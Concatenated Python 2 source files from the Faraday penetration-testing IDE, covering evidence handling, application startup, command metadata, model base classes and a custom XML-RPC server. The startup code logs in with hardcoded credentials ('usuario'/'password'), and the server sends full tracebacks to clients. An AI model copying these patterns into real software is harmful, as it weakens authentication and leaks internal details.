560 #-------------------------------------------------------------------------------
561 # EVIDENCE
562 #-------------------------------------------------------------------------------
563 #TODO: refactor!! acomodar estos metodos para que no accedan a cosas directas del model_controller
564 def addEvidence(file_path):
565 """
566 Copy evidence file to the repository
567 """
568 filename=os.path.basename(file_path)
569 ###: Ver de sacar ese nombre evidences del config
570
571 dpath="%s/evidences/" % (__model_controller._persistence_dir)
572 dpathfilename="%s%s" % (dpath,filename)
573
574 #devlog("[addEvidence] File added ("+file_path+") destination path ("+dpathfilename+")")
575
576 if os.path.isfile(dpathfilename):
577 devlog("[addEvidence] - File evidence (" + dpathfilename +") exists abort adding")
578 else:
579 if not os.path.isdir(dpath):
580 os.mkdir(dpath)
581
582 shutil.copyfile(file_path,dpathfilename)
583 if os.path.isfile(dpathfilename):
584 #XXX: la idea es no acceder directamente a cosas privadas del model controller como esto de _check_evidences
585 __model_controller._check_evidences.append(dpathfilename)
586 return dpathfilename
587
588 return False
589
590 def checkEvidence(file_path):
591 """
592 Copy evidence file to the repository
593 """
594 if not os.path.isfile(file_path):
595 devlog("[addEvidence] - File evidence (" + dpathfilename +") doesnt exists abort adding")
596 else:
597 __model_controller._check_evidences.append(file_path)
598 return True
599
600 return False
601
602 def cleanEvidence():
603 """
604 Copy evidence file to the repository
605 """
606 check_evidences=__model_controller._check_evidences
607 #devlog("[cleanEvidence] check_evidence values=" + str(check_evidences))
608
609 evidence_path="%s/evidences/" % (__model_controller._persistence_dir)
610 for root, dirs, files in os.walk(evidence_path):
611 for filename in files:
612 if os.path.splitext(filename)[1].lower() == ".png":
613 f=os.path.join(root, filename)
614 if f in check_evidences:
615 devlog("[cleanEvidence] - The following file is in the evidence xml" + os.path.join(root, filename))
616 else:
617 delEvidence(f)
618 #__model_controller._check_evidences=[]
619 return True
620
621 return False
622
623 def delEvidence(file_path):
624 """
625 Add file_path to the queue to be delete from the svn and filesystem
626 """
627 if os.path.isfile(file_path):
628 devlog("[addEvidence] - Adding file (" + file_path +") to the delete queue")
629 __model_controller._deleted_evidences.append(file_path)
630 return True
631 else:
632 devlog("[addEvidence] - File evidence (" + file_path +") doesnt exist abort deleting")
633
634 return False
635
636 #-------------------------------------------------------------------------------
637 # MISC APIS
638 #-------------------------------------------------------------------------------
639 def log(msg ,level = "INFO"):
640 """
641 This api will log the text in the GUI console without the level
642 it will also log to a file with the corresponding level
643 if logger was configured that way
644 """
645 model.log.getLogger().log(msg,level)
646
647 def devlog(msg):
648 """
649 If DEBUG is set it will print information directly to stdout
650 """
651 if CONF.getDebugStatus():
652 print "[DEBUG] - %s" % msg
653 model.log.getLogger().log(msg,"DEBUG")
654
655 def showDialog(msg, level="Information"):
656 return model.log.getNotifier().showDialog(msg, level)
657
658 def showPopup(msg, level="Information"):
659 return model.log.getNotifier().showPopup(msg, level)
660
661 #-------------------------------------------------------------------------------
662 def getLoggedUser():
663 """
664 Returns the currently logged username
665 """
666 global __current_logged_user
667 return __current_logged_user
668 #-------------------------------------------------------------------------------
669
670 #TODO: implement!!!!!
671 def getLocalDefaultGateway():
672 return gateway()
673
674
675 def getActiveWorkspace():
676 return __workspace_manager.getActiveWorkspace()
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import os
8 import sys
9 import signal
10
11 # TODO: no seria mejor activar todo ?
12 # XXX: something strange happens if we import
13 # this module at the bottom of the list....
14 from auth.manager import SecurityManager
15 from auth.manager import codes
16 from model.controller import ModelController
17 from persistence.persistence_managers import DbManager
18 from controllers.change import ChangeController
19 from managers.model_managers import WorkspaceManager
20 import model.api
21 import model.guiapi
22 import apis.rest.api as restapi
23 import model.log
24 from utils.logs import getLogger
25 import traceback
26 from managers.all import PluginManager
27 from managers.mapper_manager import MapperManager
28 from managers.reports_managers import ReportManager
29
30 from utils.error_report import exception_handler
31 from utils.error_report import installThreadExcepthook
32
33 from gui.gui_app import UiFactory
34
35 from config.configuration import getInstanceConfiguration
36 CONF = getInstanceConfiguration()
37
38
39 class MainApplication(object):
40 """
41 """
42
43 def __init__(self, args):
44 self._original_excepthook = sys.excepthook
45
46 self._configuration = CONF
47
48 self._security_manager = SecurityManager()
49 self._mappers_manager = MapperManager()
50 self._changes_controller = ChangeController()
51 self._db_manager = DbManager()
52
53 self._model_controller = ModelController(
54 self._security_manager,
55 self._mappers_manager)
56
57 self._plugin_manager = PluginManager(
58 os.path.join(CONF.getConfigPath(), "plugins"),
59 self._mappers_manager)
60
61 self._reports_manager = ReportManager(10, self._plugin_manager.createController("ReportManager"))
62
63 self._workspace_manager = WorkspaceManager(
64 self._db_manager,
65 self._mappers_manager,
66 self._changes_controller,
67 self._reports_manager)
68
69 self.gui_app = UiFactory.create(self._model_controller,
70 self._plugin_manager,
71 self._workspace_manager,
72 args.gui)
73
74 self.gui_app.setSplashImage(os.path.join(
75 CONF.getImagePath(), "splash2.png"))
76
77 def enableExceptHook(self):
78 sys.excepthook = exception_handler
79 installThreadExcepthook()
80
81 def disableLogin(self):
82 CONF.setAuth(sys.disablelogin)
83
84 def start(self):
85 try:
86
87 self.gui_app.startSplashScreen()
88 self.gui_app.splashMessage("Starting Faraday")
89
90 signal.signal(signal.SIGINT, self.ctrlC)
91
92 logged = True
93
94 while True:
95
96 username, password = "usuario", "password"
97
98 if username is None and password is None:
99 break
100 result = self._security_manager.authenticateUser(username, password)
101 if result == codes.successfulLogin:
102 logged = True
103 break
104
105 if logged:
106 model.api.devlog("Starting application...")
107 model.api.devlog("Setting up remote API's...")
108 # We need to create the last used workspace (or the default
109 # workspace) before we start the model controller and the
110 # report manager
111
112 last_workspace = CONF.getLastWorkspace()
113 if not self._workspace_manager.workspaceExists(last_workspace):
114 getLogger(self).info("Your last workspace ("+last_workspace+") wasn't accessible, check configuration...")
115 self._workspace_manager.openDefaultWorkspace()
116 #self._workspace_manager.createWorkspace(last_workspace, 'default workspace, probably created already in couchb')
117 else:
118 self._workspace_manager.openWorkspace(last_workspace)
119
120 model.api.setUpAPIs(
121 self._model_controller,
122 self._workspace_manager,
123 CONF.getApiConInfoHost(),
124 CONF.getApiConInfoPort())
125 model.guiapi.setUpGUIAPIs(self._model_controller)
126
127 model.api.devlog("Starting model controller daemon...")
128
129 self._model_controller.start()
130 model.api.startAPIServer()
131 restapi.startAPIs(
132 self._plugin_manager,
133 self._model_controller,
134 self._mappers_manager)
135 # Start report manager here
136 getLogger(self).debug("Starting Reports Manager Thread")
137 self._reports_manager.startWatch()
138
139 model.api.devlog("Faraday ready...")
140 model.api.__current_logged_user = username
141
142 self.gui_app.splashMessage("Loading workspace... Please wait.")
143
144 self.gui_app.loadWorkspaces()
145
146 self.gui_app.stopSplashScreen()
147
148 except Exception:
149 print "There was an error while starting Faraday"
150 print "-" * 50
151 traceback.print_exc()
152 print "-" * 50
153 self.__exit(-1)
154
155 if logged:
156 exit_code = self.gui_app.run([])
157 #exit_code = self.app.exec_loop()
158 else:
159 exit_code = -1
160
161 return self.__exit(exit_code)
162
163 def __exit(self, exit_code=0):
164 """
165 Exits the application with the provided code.
166 It also waits until all app threads end.
167 """
168 model.api.devlog("Closing Faraday...")
169 model.api.devlog("stopping model controller thread...")
170 model.api.stopAPIServer()
171 restapi.stopServer()
172 self._reports_manager.stop()
173 self._changes_controller.stop()
174 self._model_controller.stop()
175 self._model_controller.join()
176 self.gui_app.quit()
177 model.api.devlog("Waiting for controller threads to end...")
178 return exit_code
179
180 def quit(self):
181 """
182 Redefined quit handler to nicely end up things
183 """
184 self.gui_app.quit()
185
186 def ctrlC(self, signal, frame):
187 getLogger(self).info("Exiting...")
188 self.__exit(exit_code=0)
189
190 def getWorkspaceManager(self):
191 return self._workspace_manager
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import uuid
10 import socket
11 import subprocess
12 import getpass
13
14
15 def get_private_ip():
16 """
17 This method returns the first private ip address
18 configured for this machine.
19 TODO: The problem is what happens when the machine
20 has more than one private ip
21 """
22 # What's the best way to do this?
23 ip = socket.gethostbyname(socket.gethostname())
24 if ip:
25 if not ip.startswith('127'):
26 return ip
27 ip = socket.gethostbyname(socket.getfqdn())
28 if ip:
29 if not ip.startswith('127'):
30 return ip
31 ip = subprocess.check_output(["ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'"], shell=True)
32 return ip
33
34
35 def get_hostname():
36 return socket.gethostname()
37
38 def get_user():
39 return getpass.getuser()
40
41
42 class CommandRunInformation(object):
43 """Command Run information object containing:
44 command, parameters, time, workspace, etc."""
45 class_signature = "CommandRunInformation"
46
47 def __init__(self, **kwargs):
48 self._id = uuid.uuid4().hex
49 self.type = self.__class__.__name__
50 self.user = get_user()
51 self.ip = get_private_ip()
52 self.hostname = get_hostname()
53 for k, v in kwargs.items():
54 setattr(self, k, v)
55
56 def getID(self):
57 return self._id
58
59 def setID(self, id):
60 return self._id
61
62 def toDict(self):
63 return self.__dict__
64
65 def fromDict(self, dictt):
66 for k, v in dictt.items():
67 setattr(self, k, v)
68 return self
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 Contains base classes used to represent the application model
8 and some other common objects and functions used in the model
9 """
10 import sys
11 import os
12 import traceback
13 import threading
14 import SimpleXMLRPCServer
15 import xmlrpclib
16 from utils.decorators import updateLocalMetadata
17 import json
18 import model
19 from conflict import ConflictUpdate
20 from model.diff import ModelObjectDiff
21
22 try:
23 import model.api as api
24 except AttributeError:
25 import api
26 from utils.common import *
27
28 #----------- Metadata history for timeline support, prob. we should move this out model common
29
30 from time import time
31 import cPickle as pickle
32 from config.configuration import getInstanceConfiguration
33
34 class MetadataUpdateActions(object):
35 """Constants for the actions made on the update"""
36 UNDEFINED = -1
37 CREATE = 0
38 UPDATE = 1
39
40 class Metadata(object):
41 """To save information about the modification of ModelObjects.
42 All members declared public as this is only a wrapper"""
43
44 class_signature = "Metadata"
45
46 def __init__(self, user):
47 self.creator = user
48 self.owner = user
49 self.create_time = time()
50 self.update_time = time()
51 self.update_user = user
52 self.update_action = MetadataUpdateActions.CREATE
53 self.update_controller_action = self.__getUpdateAction()
54
55 def toDict(self):
56 return self.__dict__
57
58 def fromDict(self, dictt):
59 for k, v in dictt.items():
60 setattr(self, k, v)
61 return self
62
63
64 def update(self, user, action = MetadataUpdateActions.UPDATE):
65 """Update the local metadata giving a user and an action.
66 Update time gets modified to the current system time"""
67 self.update_user = user
68 self.update_time = time()
69 self.update_action = action
70
71 self.update_controller_action = self.__getUpdateAction()
72
73 # api.devlog("Updating object (%s) metadata for user: (%s), utime = (%.4f), action=(%d), controller action = (%s)"
74 # % (self, self.update_user, self.update_time, self.update_action, self.update_controller_action))
75
76 def __getUpdateAction(self):
77 """This private method grabs the stackframes in look for the controller
78 call that generated the update"""
79
80 l_strace = traceback.extract_stack(limit = 10)
81 controller_funcallnames = [ x[2] for x in l_strace if "controller" in x[0] ]
82
83 if controller_funcallnames:
84 return "ModelControler." + " ModelControler.".join(controller_funcallnames)
85 return "No model controller call"
86
87
88 class ModelObject(object):
89 """
90 This is the base class for every object we need to represent in the
91 system (like hosts, services, etc)
92 It defines some generic methods to handle internal attributes that are
93 dictionaries. It also has generic methods to deal with notes & vulns
94 since every object could have them.
95 """
96 # this static attribute used with a factory
97 class_signature = "ModelObject"
98
99 def __init__(self, parent_id=None):
100 self._name = ""
101 self._id = None
102 self._parent_id = parent_id
103 self._parent = None
104
105 self.owner = api.getLoggedUser()
106 self._metadata = Metadata(self.owner)
107
108 # indicates if object was owned somehow
109 # we could use this property to put a different color on the GUI
110 self._is_owned = False
111
112 # a custom description given by the user
113 # this can be used to explain the purpose of the object
114 self.description = ""
115
116 self.publicattrs = {'Description':'description',
117 'Name':'getName','Owned':'isOwned'
118 }
119
120 self.publicattrsrefs = {'Description': '_description',
121 'Name': '_name','Owned': '_is_owned'
122 }
123
124 self._updatePublicAttributes()
125
126 #TODO: I think notes and vulns should be a dict
127 self._notes = {}
128 self._vulns = {}
129 self._creds = {}
130 self.evidences = []
131
132 self.updates = []
133
134 def accept(self, visitor):
135 visitor.visit(self)
136
137 def defaultValues(self):
138 return [-1, 0, '', 'unknown', None, [], {}]
139
140 def __getAttribute(self, key):
141 """ Looks for the attribute beneth the public attribute dict """
142 return self.publicattrsrefs.get(key)
143
144 def propertyTieBreaker(self, key, prop1, prop2):
145 """ Breakes the conflict between two properties. If either of them
146 is a default value returns the true and only.
147 If neither returns the default value.
148 If conflicting returns a tuple with the values """
149 if prop1 in self.defaultValues(): return prop2
150 elif prop2 in self.defaultValues(): return prop1
151 elif self.tieBreakable(key): return self.tieBreak(key, prop1, prop2)
152 else: return (prop2, prop1)
153
154 def tieBreakable(self, key):
155 return False
156
157 def tieBreak(self, key, prop1, prop2):
158 return None
159
160 def addUpdate(self, newModelObject):
161 conflict = False
162 diff = ModelObjectDiff(self, newModelObject)
163 for k, v in diff.getPropertiesDiff().items():
164 attribute = self.__getAttribute(k)
165 prop_update = self.propertyTieBreaker(attribute, *v)
166 if isinstance(prop_update, tuple):
167 conflict = True
168 else:
169 setattr(self, attribute, prop_update)
170 if conflict:
171 self.updates.append(ConflictUpdate(self, newModelObject))
172 return conflict
173
174 def needs_merge(self, new_obj):
175 return ModelObjectDiff(self, new_obj).existDiff()
176
177 def getUpdates(self):
178 return self.updates
179
180 def updateResolved(self, update):
181 self.updates.remove(update)
182
183
184 # IMPORTANT: all delete methods are considered FULL delete
185 # this means it will delete the reference from host and all
186 # other objects containing them
187 def _getValueByID(self, attrName, ID):
188 """
189 attribute passed as a parameter MUST BE a dictionary indexed with a
190 string ID
191 if id is found as a part of a key it returns the object
192 it returns None otherwise
193 """
194 if ID:
195 hash_id = get_hash([ID])
196 ref = self.__getattribute__(attrName)
197 # we are assuming the value is unique inside the object ID's
198 for key in ref:
199 #XXX: this way of checking the ids doesn't allow us to use a real hash as key
200 # because we are checking if "id" is part of the key... not a good way of
201 # dealing with this...
202 if hash_id == key or ID == key:
203 return ref[key]
204 # if id (hash) was not found then we try with element names
205 for element in ref.itervalues():
206 #if id in element.name:
207 if ID == element.name:
208 return element
209 return None
210
211
212 def _addValue(self, attrName, newValue, setparent = False, update = False):
213 # attribute passed as a parameter MUST BE the name
214 # of an internal attribute which is a dictionary indexed
215 # with a string ID
216 valID = newValue.getID()
217 ref = self.__getattribute__(attrName)
218 if valID not in ref or update:
219 ref[valID] = newValue
220 if setparent:
221 newValue.setParent(self)
222 return True
223 #return not update
224 return False
225
226
227 def _updatePublicAttributes(self):
228 # can be overriden if needed
229 pass
230
231 def setID(self, ID=None):
232 if ID is None:
233 self.updateID()
234 else:
235 self._id = ID
236 return self._id
237
238 def updateID(self):
239 raise NotImplementedError("This should be overwritten")
240
241 def _prependParentId(self):
242 if self._parent_id:
243 self._id = '.'.join((self._parent_id, self.getID()))
244
245 def getID(self):
246 if self._id is None:
247 self.updateID()
248 return self._id
249
250 id = property(getID, setID)
251
252 def getMetadata(self):
253 """Returns the current metadata of the object"""
254 return self._metadata
255
256 def setMetadata(self, metadata):
257 self._metadata = metadata
258
259 def getMetadataHistory(self):
260 """Returns the current metadata of the object"""
261 return self._metadataHistory
262
263 def updateMetadata(self):
264 """ We are only saving the previous state so the newst is not available"""
265 self.getMetadata().update(self.owner)
266 # self.getMetadataHistory().pushMetadataForId(self.getID(), self.getMetadata())
267
268 def getHost(self):
269 #recursive method to recover the Host root
270 if self.class_signature == "Host":
271 return self
272 return self.getParent().getHost()
273
274 def setName(self, name):
275 self._name = name
276
277 def getName(self):
278 return self._name
279
280 name = property(getName, setName)
281
282 def setDescription(self, description):
283 self._description = description
284
285 def getDescription(self):
286 return self._description
287
288 description = property(getDescription, setDescription)
289
290 def isOwned(self):
291 return self._is_owned
292
293 def setOwned(self, owned=True):
294 self._is_owned = owned
295
296 def getOwner(self):
297 return self.owner
298
299 def setOwner(self, owner=None):
300 self.owner = owner
301
302 #@save
303 def setParent(self, parent):
304 self._parent = parent
305
306 def getParent(self):
307 return self._parent
308
309 parent = property(getParent, setParent)
310
311 #TODO: this should be removed and we could use some class
312 # based on dict to implement this
313
314
315 def _delValue(self, attrName, valID):
316 # attribute passed as a parameter MUST BE the name
317 # of an internal attribute which is a dictionary indexed
318 # with a string ID
319 api.devlog("(%s)._delValue(%s, %s)" % (self, attrName, valID))
320 ref = self.__getattribute__(attrName)
321 api.devlog("ref.keys() = %s" % ref.keys())
322 if valID in ref:
323 val = ref[valID]
324 del ref[valID]
325 val.delete()
326 return True
327
328 hash_id = get_hash([valID])
329 if hash_id in ref:
330 val = ref[hash_id]
331 del ref[hash_id]
332 val.delete()
333 return True
334
335 for element in ref.itervalues():
336 if valID == element.name:
337 val = ref[element.getID()]
338 del ref[element.getID()]
339 val.delete()
340 return True
341
342 # none of the ids were found
343 return False
344
345 def _delAllValues(self, attrName):
346 ref = self.__getattribute__(attrName)
347 try:
348 ref.clear()
349 return True
350 except Exception:
351 return False
352
353 #@delete
354 def delete(self):
355 del self
356
357 def _getAllValues(self, attrName, mode = 0):
358 """
359 attribute passed as a parameter MUST BE a dictionary indexed with a
360 string ID
361 return all values in the dictionary
362 mode = 0 returns a list of objects
363 mode = 1 returns a dictionary of objects with their id as key
364 """
365 ref = self.__getattribute__(attrName)
366 if mode:
367 return ref
368 else:
369 return sorted(ref.values())
370
371 def _getAllIDs(self, attrName):
372 ref = self.__getattribute__(attrName)
373 return ref.keys()
374
375 def _getValueCount(self, attrName):
376 ref = self.__getattribute__(attrName)
377 return len(ref)
378
379 def __repr__(self):
380 return "<ModelObject %s at 0x%x>" % (self.__class__.__name__, id(self))
381
382 def __str__(self):
383 return "<ModelObject %s ID = %s at 0x%x>" % (self.__class__.__name__, self._id, id(self))
384
385 #notes
386 @updateLocalMetadata
387 def addNote(self, newNote, update=False, setparent=True):
388 self.addChild(newNote)
389 return True
390
391 def newNote(self, name, text):
392 note = ModelObjectNote(name, text, self)
393 self.addNote(note)
394
395 @updateLocalMetadata
396 def delNote(self, noteID):
397 self.deleteChild(noteID)
398 return True
399
400 def getNotes(self):
401 return self.getChildsByType(ModelObjectNote.__name__)
402
403 def setNotes(self, notes):
404 self._addChildsDict(notes)
405
406 def getNote(self, noteID):
407 return self.findChild(noteID)
408
409 def notesCount(self):
410 return len(self._notes.values())
411
412 #Vulnerability
413 @updateLocalMetadata
414 def addVuln(self, newVuln, update=False, setparent=True):
415 self.addChild(newVuln)
416 return True
417
418 @updateLocalMetadata
419 def delVuln(self, vulnID):
420 self.deleteChild(vulnID)
421 return True
422
423 def getVulns(self):
424 return self.getChildsByType(ModelObjectVuln.__name__) + self.getChildsByType(ModelObjectVulnWeb.__name__)
425
426 def setVulns(self, vulns):
427 self._addChildsDict(vulns)
428
429 def getVuln(self, vulnID):
430 return self.findChild(vulnID)
431
432 def vulnsCount(self):
433 return len(self._vulns.values())
434
435 def vulnsToDict(self):
436 d = []
437 for vuln in self._vulns.values():
438 d.append(vuln.toDictFull())
439 return d
440
441 @updateLocalMetadata
442 def delCred(self, credID):
443 return self._delValue("_creds", credID)
444
445 def getCreds(self):
446 return self.getChildsByType(ModelObjectCred.__name__)
447
448 def setCreds(self, creds):
449 self._addChildsDict(creds)
450
451 def getCred(self, credID):
452 return self._getValueByID("_creds", credID)
453
454 def credsToDict(self):
455 d = []
456 for cred in self._creds.values():
457 d.append(cred.toDictFull())
458 return d
459
460
461 def credsCount(self):
462 return len(self._creds.values())
463
464 def __getClassname(self, val):
465 supported = factory.listModelObjectTypes()
466 return filter(lambda x: val.lower().replace('_', '')[:-1] in x.lower(), supported)[0]
467
468 def _asdict(self):
469 return self.toDictFull()
470
471 def ancestors_path(self):
472 if self.getParent() is None:
473 return str(self.getID())
474 return ".".join([self.getParent().ancestors_path()] + [str(self.getID())])
475
476 def _addChildsDict(self, dictt):
477 [self.addChild(v) for k, v in dictt.items()]
478
479
480 class ModelComposite(ModelObject):
481 """ Model Objects Composite Abstract Class """
482
483 def __init__(self, parent_id=None):
484 ModelObject.__init__(self, parent_id)
485 self.childs = {}
486
487 def addChild(self, model_object):
488 model_object.setParent(self)
489 self.childs[model_object.getID()] = model_object
490
491 def getChilds(self):
492 return self.childs
493
494 def getChildsByType(self, signature):
495 return [c for c in self.childs.values()
496 if c.__class__.__name__ == signature]
497
498 def deleteChild(self, iid):
499 del self.childs[iid]
500
501 def findChild(self, iid):
502 return self.childs.get(iid)
503
504 class ModelLeaf(ModelObject):
505 def __init__(self, parent_id=None):
506 ModelObject.__init__(self, parent_id)
507
508 def getChildsByType(self, signature):
509 return []
510
511 def getChilds(self):
512 return {}
513
514 #-------------------------------------------------------------------------------
515 #TODO: refactor this class to make it generic so this can be used also for plugins
516 # then create a subclass and inherit the generic factory
517 class ModelObjectFactory(object):
518 """
519 Factory to creat any ModelObject type
520 """
521 def __init__(self):
522 self._registered_objects = dict()
523
524 def register(self, model_object):
525 """registers a class into the factory"""
526 self._registered_objects[model_object.class_signature] = model_object
527
528 def listModelObjectClasses(self):
529 """returns a list of registered classes"""
530 return self._registered_objects.values()
531
532 def getModelObjectClass(self, name):
533 """get the class for a particular object typename"""
534 return self._registered_objects[name]
535
536 def listModelObjectTypes(self):
537 """returns an array with object typenames the factory is able to create"""
538 names = self._registered_objects.keys()
539 names.sort()
540 return names
541
542 def generateID(self, classname, parent_id=None, **objargs):
543 tmpObj = self._registered_objects[classname](**objargs)
544 if parent_id:
545 return '.'.join([parent_id, tmpObj.getID()])
546 return tmpObj.getID()
547
548 def createModelObject(self, classname, object_name=None, **objargs):
549 if classname in self._registered_objects:
550 if object_name is not None:
551 tmpObj = self._registered_objects[classname](object_name,**objargs)
552 return tmpObj
553 else:
554 raise Exception("Object name parameter missing. Cannot create object class: %s" % classname)
555 else:
556 raise Exception("Object class %s not registered in factory. Cannot create object." % classname)
557
558 #-------------------------------------------------------------------------------
559 # global reference kind of a singleton
560 factory = ModelObjectFactory()
561
562 #-------------------------------------------------------------------------------
563
564 class CustomXMLRPCRequestHandler(SimpleXMLRPCServer.SimpleXMLRPCRequestHandler):
565
566 def __init__(self, *args, **kwargs):
567 SimpleXMLRPCServer.SimpleXMLRPCRequestHandler.__init__(self, *args, **kwargs)
568
569 def handle(self):
570 try:
571 api.devlog("-" * 60)
572 api.devlog("[XMLRPCHandler] - request = %s" % str(self.request))
573 api.devlog("[XMLRPCHandler] - client_address = %s" % str(self.client_address))
574 api.devlog("[XMLRPCHandler] - server = %s" % str(self.server))
575 api.devlog("-" * 60)
576 SimpleXMLRPCServer.SimpleXMLRPCRequestHandler.handle(self)
577 except Exception:
578 api.devlog("[XMLRPCHandler] - An error ocurred while handling a request\n%s" % traceback.format_exc())
579
580 def do_POST(self):
581 """
582 Handles the HTTP POST request.
583 Attempts to interpret all HTTP POST requests as XML-RPC calls,
584 which are forwarded to the server's _dispatch method for handling.
585
586 This is a copy of the original do_POST, but it sends information about
587 the client calling the server to the marshaled dispatch. This info
588 can be later passed to the server
589 """
590
591 # Check that the path is legal
592 if not self.is_rpc_path_valid():
593 self.report_404()
594 return
595
596 try:
597 # Get arguments by reading body of request.
598 # We read this in chunks to avoid straining
599 # socket.read(); around the 10 or 15Mb mark, some platforms
600 # begin to have problems (bug #792570).
601 max_chunk_size = 10*1024*1024
602 size_remaining = int(self.headers["content-length"])
603 L = []
604 while size_remaining:
605 chunk_size = min(size_remaining, max_chunk_size)
606 L.append(self.rfile.read(chunk_size))
607 size_remaining -= len(L[-1])
608 data = ''.join(L)
609
610 # In previous versions of SimpleXMLRPCServer, _dispatch
611 # could be overridden in this class, instead of in
612 # SimpleXMLRPCDispatcher. To maintain backwards compatibility,
613 # check to see if a subclass implements _dispatch and dispatch
614 # using that method if present.
615 response = self.server._marshaled_dispatch(
616 data, getattr(self, '_dispatch', None)
617 )
618 except Exception, e: # This should only happen if the module is buggy
619 # internal error, report as HTTP server error
620 self.send_response(500)
621
622 # Send information about the exception if requested
623 if hasattr(self.server, '_send_traceback_header') and \
624 self.server._send_traceback_header:
625 self.send_header("X-exception", str(e))
626 self.send_header("X-traceback", traceback.format_exc())
627
628 self.end_headers()
629 else:
630 # got a valid XML RPC response
631 self.send_response(200)
632 self.send_header("Content-type", "text/xml")
633 self.send_header("Content-length", str(len(response)))
634 self.end_headers()
635 self.wfile.write(response)
636
637 # shut down the connection
638 self.wfile.flush()
639 self.connection.shutdown(1)
640 #-------------------------------------------------------------------------------
641 # custom XMLRPC server with stopping function
642 #TODO: check http://epydoc.sourceforge.net/stdlib/SimpleXMLRPCServer.SimpleXMLRPCServer-class.html
643 # see if there is a way to know the ip caller
644 # looks like the request handler can give us that info
645 # http://epydoc.sourceforge.net/stdlib/BaseHTTPServer.BaseHTTPRequestHandler-class.html#address_string
646 #
647
648 class XMLRPCServer(SimpleXMLRPCServer.SimpleXMLRPCServer, threading.Thread):
649 """
650 Stoppable XMLRPC Server with custom dispatch to send over complete traceback
651 in case of exception.
652 """
653 def __init__(self, *args, **kwargs):
654 threading.Thread.__init__(self)
655 SimpleXMLRPCServer.SimpleXMLRPCServer.__init__(self, requestHandler = CustomXMLRPCRequestHandler, allow_none = True, *args,**kwargs)
656 self._stop = False
657 # set timeout for handle_request. If we don't the server will hang
658 self.timeout = 2
659
660 def run(self):
661 self.serve_forever()
662 api.devlog("serve_forever ended")
663 return
664
665 # overloaded method to be able to stop server
666 def serve_forever(self):
667 while not self._stop:
668 self.handle_request()
669 api.devlog("server forever stopped by flag")
670
671 def stop_server(self):
672 api.devlog("server stopping...")
673 self._stop = True
674
675 # The default dispatcher does not send across the whole stack trace.
676 # Only type and value are passed back. The client has no way of knowing
677 # the exact place where error occurred in the server (short of some
678 # other means such as server logging). This dispatcher sends the whole
679 # stack trace.
680 def _dispatch(self, method, params):
681 """Dispatches the XML-RPC method.
682
683 XML-RPC calls are forwarded to a registered function that
684 matches the called XML-RPC method name. If no such function
685 exists then the call is forwarded to the registered instance,
686 if available.
687
688 If the registered instance has a _dispatch method then that
689 method will be called with the name of the XML-RPC method and
690 its parameters as a tuple
691 e.g. instance._dispatch('add',(2,3))
692
693 If the registered instance does not have a _dispatch method
694 then the instance will be searched to find a matching method
695 and, if found, will be called.
696
697 Methods beginning with an '_' are considered private and will
698 not be called.
699 """
700
701 func = None
702 try:
703 # check to see if a matching function has been registered
704 func = self.funcs[method]
705 except KeyError:
706 if self.instance is not None:
707 # check for a _dispatch method
708 if hasattr(self.instance, '_dispatch'):
709 return self.instance._dispatch(method, params)
710 else:
711 # call instance method directly
712 try:
713 func = SimpleXMLRPCServer.resolve_dotted_attribute(
714 self.instance,
715 method,
716 self.allow_dotted_names
717 )
718 except AttributeError:
719 pass
720
721 if func is not None:
722 try:
723 # since we are using a keyword xmlrpc proxy this is sending
724 # the info comes in form of args and kwargs
725 # so params has 2 items, the first being a list or tuple
726 # and the second a dictionary
727 if len(params) == 2 and isinstance(params[1],dict) and\
728 ( isinstance(params[0],list) or isinstance(params[0],tuple) ) :
729 return func(*params[0], **params[1])
730 else:
731 # this is the default way in case a normal xmlrpclib.ServerProxy is used
732 return func(*params)
733 except Exception:
734 # extended functionality to let the client have the full traceback
735 msg = traceback.format_exc()
736 raise xmlrpclib.Fault(1, msg)
737 else:
738 raise Exception('method "%s" is not supported' % method)
739
740
741 def _marshaled_dispatch(self, data, dispatch_method = None):
742 """Dispatches an XML-RPC method from marshalled (XML) data.
743
744 XML-RPC methods are dispatched from the marshalled (XML) data
745 using the _dispatch method and the result is returned as
746 marshalled data. For backwards compatibility, a dispatch
747 function can be provided as an argument (see comment in
748 SimpleXMLRPCRequestHandler.do_POST) but overriding the
749 existing method through subclassing is the prefered means
750 of changing method dispatch behavior.
751 """
752
753 try:
754 params, method = xmlrpclib.loads(data)
755
756 # generate response
757 if dispatch_method is not None:
758 response = dispatch_method(method, params)
759 else:
760 response = self._dispatch(method, params)
761 # wrap response in a singleton tuple
762 response = (response,)
763 response = xmlrpclib.dumps(response, methodresponse=1,
764 allow_none=self.allow_none, encoding=self.encoding)
765 except Fault, fault:
766 response = xmlrpclib.dumps(fault, allow_none=self.allow_none,
767 encoding=self.encoding)
768 except Exception:
769 # report exception back to server
770 exc_type, exc_value, exc_tb = sys.exc_info()
771 response = xmlrpclib.dumps(
772 xmlrpclib.Fault(1, "%s:%s" % (exc_type, exc_value)),
773 encoding=self.encoding, allow_none=self.allow_none,
774 )
775
776 return response
777
778 #-------------------------------------------------------------------------------
779
780 class XMLRPCKeywordProxy(object):
781 """
782 custom XMLRPC Server Proxy capable of receiving keyword arguments
783 when calling remote methods
784 """
785 def __init__(self, *args, **kwargs):
786 self._xmlrpc_server_proxy = xmlrpclib.ServerProxy(*args, **kwargs)
787 def __getattr__(self, name):
788 call_proxy = getattr(self._xmlrpc_server_proxy, name)
789 def _call(*args, **kwargs):
790 return call_proxy(args, kwargs)
791 return _call
792
793
794
795 #-------------------------------------------------------------------------------
796 class ModelObjectNote(ModelComposite):
797 """
798 Simple class to store notes about any object.
799 id will be used to number notes (based on a counter on the object being commented)
800 parent will be a reference to the object being commented.
801 To assing new text this:
802 >>> note.text = "foobar"
803 to append text + or += operators can be used (no need to use text property):
804 >>> note += " hello world!"
805 """
806 class_signature = "Note"
807
808 def __init__(self, name="", text="", parent_id=None):
809 ModelComposite.__init__(self, parent_id)
810 self.name = str(name)
811 self._text = str(text)
812
